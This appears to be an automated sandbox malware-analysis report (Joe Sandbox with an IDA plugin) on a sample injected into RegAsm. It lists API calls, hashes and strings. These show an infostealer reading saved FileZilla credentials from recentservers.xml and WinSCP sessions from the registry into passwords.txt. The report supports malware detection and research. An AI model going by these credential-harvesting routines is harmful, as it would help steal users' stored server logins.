Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 1c64810483d1bd431cfab53d3d9da3689623006dffd760b73574958cbad4a630
Instruction ID: d029a68ff29d91b8f75e289ee74ea363d25e14041d89df44689be5fbed8dd789
Opcode Fuzzy Hash: 1c64810483d1bd431cfab53d3d9da3689623006dffd760b73574958cbad4a630
Instruction Fuzzy Hash: D4F04F76A00214EFDB04DF98D481BDD7BB0FB69325F00416EE814D7290C7759904CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1B682CB6 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(1B682BE6,00000001,?,?,?,1B683650,?), ref: 1B682CED

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 7817db0f3d235b0fd37b91b4501209637453c4e258a1d4eac789f548f28f9b44
Instruction ID: 0c0b7caf0b5862af5cd1d6d1111874e04a73f03d139c51f8c8a91187d2e2482d
Opcode Fuzzy Hash: 7817db0f3d235b0fd37b91b4501209637453c4e258a1d4eac789f548f28f9b44
Instruction Fuzzy Hash: F2F0E53A70034A5BCB049F39DC45BAA7F94FFC2754B06409CEE058B250C671A946CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041D468 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001D426), ref: 0041D46D

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: de0aac2f3061b1883abbbc2dc59b1f2f59bebef8228863a6d3d464d6577e8f83
Instruction ID: 9aa36228bd1312c3dafb40d94854ee8584c16ee015a5e92c1a44cea04fe1b8fb
Opcode Fuzzy Hash: de0aac2f3061b1883abbbc2dc59b1f2f59bebef8228863a6d3d464d6577e8f83
Instruction Fuzzy Hash: E39002B4F511448A86101B706D0954566D05B9861279244626101C4464DA745181D529

Uniqueness

Uniqueness Score: -1.00%

Function 1B4942AF Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00004214), ref: 1B634A98

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f985dfb10ed505531c1fb74d6215c0ec2154f4fdced6bc74d9cee4344334cf1d
Instruction ID: 319339f03e70d4f775b50e7953a24c5d2f059e0a04a17ea1f1d093fb0dbe5278
Opcode Fuzzy Hash: f985dfb10ed505531c1fb74d6215c0ec2154f4fdced6bc74d9cee4344334cf1d
Instruction Fuzzy Hash: 9F9002F454412A5ACE249692EE498D8A92465BEA473004064E54D5441C851641458637

Uniqueness

Uniqueness Score: -1.00%

Function 0040D37F Relevance: 93.4, APIs: 62, Instructions: 416memorystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040D384

Part of subcall function 0040D284: _EH_prolog.MSVCRT ref: 0040D289
Part of subcall function 0040D284: lstrlenA.KERNEL32(?,6CBD7FA0,75AA5460,00000000), ref: 0040D2AD
Part of subcall function 0040D284: strchr.MSVCRT ref: 0040D2BF

GetProcessHeap.KERNEL32(00000008,?,?,6CBD7FA0,00000000), ref: 0040D3D3
HeapAlloc.KERNEL32(00000000,?,6CBD7FA0,00000000), ref: 0040D3DA
GetProcessHeap.KERNEL32(00000000,?,?,6CBD7FA0,00000000), ref: 0040D3EF
HeapFree.KERNEL32(00000000,?,6CBD7FA0,00000000), ref: 0040D3F6
strcpy_s.MSVCRT ref: 0040D42F
GetProcessHeap.KERNEL32(00000000,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D446
HeapFree.KERNEL32(00000000,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D44D
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D473
HeapFree.KERNEL32(00000000,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D47A
GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D481
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D488
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D49D
HeapFree.KERNEL32(00000000,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D4A4
strcpy_s.MSVCRT ref: 0040D4B7
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D4C8
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D4CF
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0), ref: 0040D4EA
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D4F1
GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0), ref: 0040D4F8
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D4FF
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0), ref: 0040D514
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D51B
strcpy_s.MSVCRT ref: 0040D52E
GetProcessHeap.KERNEL32(00000000,?), ref: 0040D53F
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,75AA5460), ref: 0040D546
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D568
HeapFree.KERNEL32(00000000,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D56F
GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D576
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D57D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D595
HeapFree.KERNEL32(00000000,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D59C
strcpy_s.MSVCRT ref: 0040D5AF
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D5C0
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D5C7

Part of subcall function 0040D1D6: strlen.MSVCRT ref: 0040D1ED

lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D5D0
GetProcessHeap.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D5E0
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D5E7
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D613
strcpy_s.MSVCRT ref: 0040D637
GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,00000001,00000000,?,?,00000000), ref: 0040D660
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D667
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D66C
GetProcessHeap.KERNEL32(00000008,00000001,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D677
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D67E
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D68F
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,75AA5460,?,6CBD7FA0,00000000), ref: 0040D696
strcpy_s.MSVCRT ref: 0040D6A4
GetProcessHeap.KERNEL32(00000000,?), ref: 0040D6B0
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,75AA5460), ref: 0040D6B7
GetProcessHeap.KERNEL32(00000000,?), ref: 0040D6DD
HeapFree.KERNEL32(00000000), ref: 0040D6E4
GetProcessHeap.KERNEL32(00000008,00000010), ref: 0040D6EB
HeapAlloc.KERNEL32(00000000), ref: 0040D6F2
strcpy_s.MSVCRT ref: 0040D70A
GetProcessHeap.KERNEL32(00000000,?), ref: 0040D71B
HeapFree.KERNEL32(00000000), ref: 0040D722
strlen.MSVCRT ref: 0040D770
GetProcessHeap.KERNEL32(00000000,?), ref: 0040D7B4
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,75AA5460), ref: 0040D7BB

Part of subcall function 0040D284: strchr.MSVCRT ref: 0040D2E3
Part of subcall function 0040D284: lstrlenA.KERNEL32(?), ref: 0040D301
Part of subcall function 0040D284: GetProcessHeap.KERNEL32(00000008,-00000001), ref: 0040D30E
Part of subcall function 0040D284: HeapAlloc.KERNEL32(00000000), ref: 0040D315
Part of subcall function 0040D284: strcpy_s.MSVCRT ref: 0040D350

GetProcessHeap.KERNEL32(00000000,?), ref: 0040D807
HeapFree.KERNEL32(00000000), ref: 0040D80E

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$H_prologstrchrstrlen
String ID:
API String ID: 2599614518-0
Opcode ID: cf0ecef83dbbc2a2af86740d8966e5d5e0cd88ed1842b8b923e0d93c82f5e9c9
Instruction ID: 4e96a980e3ef2b1513e6b26e3c3319686b662b6b78d9b075673ba62ee632f77c
Opcode Fuzzy Hash: cf0ecef83dbbc2a2af86740d8966e5d5e0cd88ed1842b8b923e0d93c82f5e9c9
Instruction Fuzzy Hash: 89E11975C0021AAFDF11AFE0DD89AAFBB79FF08304F10182AF605B2191DB795A04DB65

Uniqueness

Uniqueness Score: -1.00%

Function 004162F9 Relevance: 89.4, APIs: 42, Strings: 9, Instructions: 170libraryloaderCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 004162FE
wcslen.MSVCRT ref: 0041630A
LoadLibraryA.KERNEL32(The KLW SE10B is a low-emissions diesel switcher locomotive built by Knoxville Locomotive Works. It is powered by a single MTU Ser,0041622B), ref: 00416316
wcslen.MSVCRT ref: 00416326
wcslen.MSVCRT ref: 00416332
wcslen.MSVCRT ref: 0041634A
wcslen.MSVCRT ref: 00416356
wcslen.MSVCRT ref: 00416376
wcslen.MSVCRT ref: 00416380
GetProcAddress.KERNEL32 ref: 00416394
GetProcAddress.KERNEL32 ref: 004163AB
GetProcAddress.KERNEL32 ref: 004163C2
GetProcAddress.KERNEL32 ref: 004163D9
GetProcAddress.KERNEL32 ref: 004163F0
GetProcAddress.KERNEL32 ref: 00416407
GetProcAddress.KERNEL32 ref: 0041641E
GetProcAddress.KERNEL32 ref: 00416435
GetProcAddress.KERNEL32 ref: 0041644C
GetProcAddress.KERNEL32 ref: 00416463
GetProcAddress.KERNEL32 ref: 0041647A
GetProcAddress.KERNEL32 ref: 00416491
GetProcAddress.KERNEL32 ref: 004164A8
GetProcAddress.KERNEL32 ref: 004164BF
GetProcAddress.KERNEL32 ref: 004164D6
GetProcAddress.KERNEL32 ref: 004164ED
GetProcAddress.KERNEL32 ref: 00416504
GetProcAddress.KERNEL32 ref: 0041651B
GetProcAddress.KERNEL32 ref: 00416532
GetProcAddress.KERNEL32 ref: 00416549
GetProcAddress.KERNEL32 ref: 00416560
LoadLibraryA.KERNEL32 ref: 00416571
LoadLibraryA.KERNEL32 ref: 00416582
LoadLibraryA.KERNEL32 ref: 00416593
LoadLibraryA.KERNEL32 ref: 004165A4
LoadLibraryA.KERNEL32 ref: 004165B5
GetProcAddress.KERNEL32(75A70000), ref: 004165D0
GetProcAddress.KERNEL32(75290000), ref: 004165EB
GetProcAddress.KERNEL32 ref: 00416602
GetProcAddress.KERNEL32(75BD0000), ref: 0041661D
GetProcAddress.KERNEL32(75450000), ref: 00416638
GetProcAddress.KERNEL32(76E90000), ref: 00416653
GetProcAddress.KERNEL32 ref: 0041666A

Strings

GAS5 noncoding RNA, which accumulates in growth arrested cells, acts as a decoy hormone response element for the glucocorticoid re, xrefs: 0041637B
The KLW SE10B is a low-emissions diesel switcher locomotive built by Knoxville Locomotive Works. It is powered by a single MTU Ser, xrefs: 0041631C
GAS5 noncoding RNA, which accumulates in growth arrested cells, acts as a decoy hormone response element for the glucocorticoid re, xrefs: 00416303
kernel32.dll, xrefs: 0041630F
GAS5 noncoding RNA, which accumulates in growth arrested cells, acts as a decoy hormone response element for the glucocorticoid re, xrefs: 0041632B
hhB, xrefs: 0041636C
The KLW SE10B is a low-emissions diesel switcher locomotive built by Knoxville Locomotive Works. It is powered by a single MTU Ser, xrefs: 004162F9
The KLW SE10B is a low-emissions diesel switcher locomotive built by Knoxville Locomotive Works. It is powered by a single MTU Ser, xrefs: 00416345
GAS5 noncoding RNA, which accumulates in growth arrested cells, acts as a decoy hormone response element for the glucocorticoid re, xrefs: 0041634F

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$wcslen$LibraryLoad
String ID: GAS5 noncoding RNA, which accumulates in growth arrested cells, acts as a decoy hormone response element for the glucocorticoid re$GAS5 noncoding RNA, which accumulates in growth arrested cells, acts as a decoy hormone response element for the glucocorticoid re$GAS5 noncoding RNA, which accumulates in growth arrested cells, acts as a decoy hormone response element for the glucocorticoid re$GAS5 noncoding RNA, which accumulates in growth arrested cells, acts as a decoy hormone response element for the glucocorticoid re$The KLW SE10B is a low-emissions diesel switcher locomotive built by Knoxville Locomotive Works. It is powered by a single MTU Ser$The KLW SE10B is a low-emissions diesel switcher locomotive built by Knoxville Locomotive Works. It is powered by a single MTU Ser$The KLW SE10B is a low-emissions diesel switcher locomotive built by Knoxville Locomotive Works. It is powered by a single MTU Ser$hhB$kernel32.dll
API String ID: 3854642915-181006640
Opcode ID: 49624ccbf360a564c1010e240798a798749cb03028986dfc02c2b02ef391c22b
Instruction ID: 1cd199677c0e39bd8442f48b4b18fd990d60752aa228bc5dae81643b434566b1
Opcode Fuzzy Hash: 49624ccbf360a564c1010e240798a798749cb03028986dfc02c2b02ef391c22b
Instruction Fuzzy Hash: C2815D7E910620EFEB526FA0FD09A253FB3F70AB01B14613AFA0586231DB764461EF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC6F Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 370stringmemoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040AC74

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040FD0C: SHGetFolderPathA.SHELL32(00000000,{LB,00000000,00000000,?), ref: 0040FD3D

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004061D7: _EH_prolog.MSVCRT ref: 004061DC
Part of subcall function 004061D7: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061FF
Part of subcall function 004061D7: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00406216
Part of subcall function 004061D7: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00406232
Part of subcall function 004061D7: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0040624C
Part of subcall function 004061D7: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0040626D

Part of subcall function 0040FD58: LocalAlloc.KERNEL32(00000040,004120FA,00000001,00000000,?,004120F9,00000000,00000000), ref: 0040FD71

strtok_s.MSVCRT ref: 0040AD52
GetProcessHeap.KERNEL32(00000000,000F423F,00424C83,00424C82,00424C7F,00424C7E), ref: 0040ADA6
HeapAlloc.KERNEL32(00000000), ref: 0040ADAD
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040ADC1
lstrlenA.KERNEL32(00000000), ref: 0040ADCC
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040AE04
lstrlenA.KERNEL32(00000000), ref: 0040AE0F
StrStrA.SHLWAPI(00000000,<User>), ref: 0040AE4D
lstrlenA.KERNEL32(00000000), ref: 0040AE58
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040AE96
lstrlenA.KERNEL32(00000000), ref: 0040AEA5
lstrlenA.KERNEL32(?), ref: 0040B0A0

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

memset.MSVCRT ref: 0040B0F3

Strings

Soft: FileZilla, xrefs: 0040AF88
Host: , xrefs: 0040AF96
<Host>, xrefs: 0040ADBB
Password: , xrefs: 0040B012
passwords.txt, xrefs: 0040B0B2
<Port>, xrefs: 0040ADFE
Login: , xrefs: 0040AFE4
<User>, xrefs: 0040AE47
<Pass encoding="base64">, xrefs: 0040AE90
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040ACE1

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitmemsetstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 486015307-935134978
Opcode ID: 564934eb4a25a7736fa8064f1783098efac6b1bf6649aef7254b508f9c503ce9
Instruction ID: 83f3163c125aebec936b1d4574ab15b9c6d5ce20d7e9d796607a94d6cee3af00
Opcode Fuzzy Hash: 564934eb4a25a7736fa8064f1783098efac6b1bf6649aef7254b508f9c503ce9
Instruction Fuzzy Hash: AAE18371D00228AADB05EBE5DD46EEEBB79BF15304F50086EF501B21D2DB781A18CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D838 Relevance: 63.4, APIs: 22, Strings: 14, Instructions: 411registryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040D83D
memset.MSVCRT ref: 0040D866
memset.MSVCRT ref: 0040D886
memset.MSVCRT ref: 0040D89A
memset.MSVCRT ref: 0040D8AE
memset.MSVCRT ref: 0040D8BD
memset.MSVCRT ref: 0040D8CB
memset.MSVCRT ref: 0040D8DC
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 0040D904
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040D92C
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?), ref: 0040D973
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040D990
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,00000000,?,Host: ,00000000,?,Soft: WinSCP,00424C4E), ref: 0040DA22
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,00000000,?,?), ref: 0040DA74

Strings

Password, xrefs: 0040DBB2
Security, xrefs: 0040D924
Host: , xrefs: 0040D9D5
HostName, xrefs: 0040DA13
Login: , xrefs: 0040DAF3
UseMasterPassword, xrefs: 0040D91F
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040D969
Password: , xrefs: 0040DBC3
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040D8F1
Soft: WinSCP, xrefs: 0040D9AB
UserName, xrefs: 0040DB31
:22, xrefs: 0040DAC3
passwords.txt, xrefs: 0040DD08
PortNumber, xrefs: 0040DA5E

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
